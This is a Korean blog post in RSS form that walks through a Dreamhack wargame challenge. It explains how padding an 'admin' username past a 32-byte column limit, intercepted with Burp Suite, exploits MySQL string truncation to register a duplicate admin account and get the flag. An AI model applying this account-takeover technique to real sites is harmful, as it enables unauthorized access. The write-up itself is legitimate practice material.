&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처8.JPG&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;625&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NpFBW/btsNi7kEDaQ/C7NwooZ3ECKplbkU7dt8kK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NpFBW/btsNi7kEDaQ/C7NwooZ3ECKplbkU7dt8kK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NpFBW/btsNi7kEDaQ/C7NwooZ3ECKplbkU7dt8kK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNpFBW%2FbtsNi7kEDaQ%2FC7NwooZ3ECKplbkU7dt8kK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2560&quot; height=&quot;625&quot; data-filename=&quot;캡처8.JPG&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;625&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin1이라는 아이디로 일단 회원가입을 하고 접속해봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처9.JPG&quot; data-origin-width=&quot;1188&quot; data-origin-height=&quot;755&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSHb9g/btsNjliCnQN/KHIecs6LjuXJsNIJgYgPyk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSHb9g/btsNjliCnQN/KHIecs6LjuXJsNIJgYgPyk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSHb9g/btsNjliCnQN/KHIecs6LjuXJsNIJgYgPyk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSHb9g%2FbtsNjliCnQN%2FKHIecs6LjuXJsNIJgYgPyk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1188&quot; height=&quot;755&quot; data-filename=&quot;캡처9.JPG&quot; data-origin-width=&quot;1188&quot; data-origin-height=&quot;755&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;hi hello라고 글을 써봤는데, 위에 admin이라는 계정이 남겨놓은 글이 보인다. 자기 id로 로그인 할 수 있냐고 적혀있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처10.JPG&quot; data-origin-width=&quot;2100&quot; data-origin-height=&quot;838&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MdpXi/btsNjAs6YDQ/LM47KGX5an2tBj8gkf4B60/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MdpXi/btsNjAs6YDQ/LM47KGX5an2tBj8gkf4B60/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MdpXi/btsNjAs6YDQ/LM47KGX5an2tBj8gkf4B60/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMdpXi%2FbtsNjAs6YDQ%2FLM47KGX5an2tBj8gkf4B60%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2100&quot; height=&quot;838&quot; data-filename=&quot;캡처10.JPG&quot; data-origin-width=&quot;2100&quot; data-origin-height=&quot;838&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발자도구를 열어서 소스코드를 봐도 맨 아래 주석으로 admin 계정으로 회원가입을 해야한다는 힌트가 나와있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 소스코드에 char형 id의 maxlength가 32바이트로 되어있는 것을 확인했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mysql은 해당 최대 길이를 넘는 문자열이 들어오면 해당 최대 길이값까지만 잘라서 입력을 받는다는 특성이 있어서 이걸 이용해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처12.JPG&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1268&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bioHZy/btsNi666nmm/oNkRw8xKVhDCGhEGWFoxB0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bioHZy/btsNi666nmm/oNkRw8xKVhDCGhEGWFoxB0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bioHZy/btsNi666nmm/oNkRw8xKVhDCGhEGWFoxB0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbioHZy%2FbtsNi666nmm%2FoNkRw8xKVhDCGhEGWFoxB0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2560&quot; height=&quot;1268&quot; data-filename=&quot;캡처12.JPG&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1268&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트 실행 후, id는 admin으로 해놓고 비번은 내맘대로 admin1234로 친 상태에서 intercept on으로 바꾸고 join 버튼을 눌렀다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 id 부분을 총 32바이트가 넘도록 admin 뒤에 공백을 넣고 마지막에 1(아무 문자열)을 넣었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 상태에서 forward를 누르면 회원가입이 완료된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 admin / admin1234로 로그인하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처11.JPG&quot; data-origin-width=&quot;1614&quot; data-origin-height=&quot;769&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cKPhUd/btsNjNFLbhb/XBXGLETYaM4BEKVyW404U0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cKPhUd/btsNjNFLbhb/XBXGLETYaM4BEKVyW404U0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cKPhUd/btsNjNFLbhb/XBXGLETYaM4BEKVyW404U0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcKPhUd%2FbtsNjNFLbhb%2FXBXGLETYaM4BEKVyW404U0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1614&quot; height=&quot;769&quot; data-filename=&quot;캡처11.JPG&quot; data-origin-width=&quot;1614&quot; data-origin-height=&quot;769&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인하면 위와 같이 플래그값이 출력된 페이지가 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;플래그를 획득했다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>wargame/Dreamhack</category>
      <category>드림핵</category>
      <category>드림핵워게임</category>
      <category>드림핵웹해킹</category>
      <category>웹해킹</category>
      <category>웹해킹기초</category>
      <category>웹해킹문제</category>
      <category>웹해킹워게임</category>
      <author>보안공부</author>
      <guid isPermaLink="true">https://s-security.tistory.com/112</guid>
      <comments>https://s-security.tistory.com/112#entry112comment</comments>
      <pubDate>Sun, 13 Apr 2025 22:45:47 +0900</pubDate>
    </item>
  </channel>
</rss>